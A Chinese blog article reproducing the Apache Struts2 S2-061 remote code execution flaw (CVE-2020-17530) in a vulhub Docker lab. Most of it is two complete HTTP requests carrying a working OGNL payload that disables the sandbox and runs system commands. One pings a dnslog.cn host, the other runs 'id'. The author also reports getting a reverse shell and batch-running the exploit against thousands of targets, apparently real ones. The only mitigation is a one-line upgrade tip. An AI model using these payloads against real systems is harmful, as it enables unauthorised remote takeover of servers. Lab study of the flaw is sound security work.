温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

怎么进行Struts2 S2-061 远程命令执行漏洞CVE-2020-17530复现

发布时间:2021-12-28 20:24:29 来源:亿速云 阅读:268 作者:柒染 栏目:安全技术

怎么进行Struts2 S2-061 远程命令执行漏洞CVE-2020-17530复现,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。

Struts2 S2-061 远程命令执行漏洞复现

一、漏洞简介

Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架。Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞(CVE-2020-17530),在使用某些tag等情况下可能存在OGNL表达式注入漏洞,从而造成远程代码执行,风险极大。

二、影响版本

Apache Struts 2.0.0 - 2.5.25

三、漏洞复现

docker环境地址:

项目地址:

https://github.com/vulhub/vulhub/tree/master/struts2/s2-061

怎么进行Struts2 S2-061 远程命令执行漏洞CVE-2020-17530复现

拉去镜像启动环境:

docker-compose up -d

怎么进行Struts2 S2-061 远程命令执行漏洞CVE-2020-17530复现

访问目标地址:

http://192.168.1.107:8080/

怎么进行Struts2 S2-061 远程命令执行漏洞CVE-2020-17530复现

执行DNSlog验证漏洞:

怎么进行Struts2 S2-061 远程命令执行漏洞CVE-2020-17530复现

POST/index.actionHTTP/1.1Host: 192.168.1.107:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Length: 846------WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Disposition: form-data; name="id"%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("ping p0fai2.dnslog.cn")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

DNGlog记录

怎么进行Struts2 S2-061 远程命令执行漏洞CVE-2020-17530复现

访问抓包执行exp 命令执行id

怎么进行Struts2 S2-061 远程命令执行漏洞CVE-2020-17530复现

POST/index.actionHTTP/1.1Host: 192.168.1.107:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Length: 827------WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Disposition: form-data; name="id"%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

简单的python脚本验证执行:

怎么进行Struts2 S2-061 远程命令执行漏洞CVE-2020-17530复现

也可成功执行反弹shell获取:

怎么进行Struts2 S2-061 远程命令执行漏洞CVE-2020-17530复现

批量跑了几千条成功的少:(可能默认的index还有路径不对)后面再研究一下。

怎么进行Struts2 S2-061 远程命令执行漏洞CVE-2020-17530复现

怎么进行Struts2 S2-061 远程命令执行漏洞CVE-2020-17530复现

四、安全建议

将Apache Struts框架升级至最新版本。

看完上述内容,你们掌握怎么进行Struts2 S2-061 远程命令执行漏洞CVE-2020-17530复现的方法了吗?如果还想学到更多技能或想了解更多相关内容,欢迎关注亿速云行业资讯频道,感谢各位的阅读!

向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

AI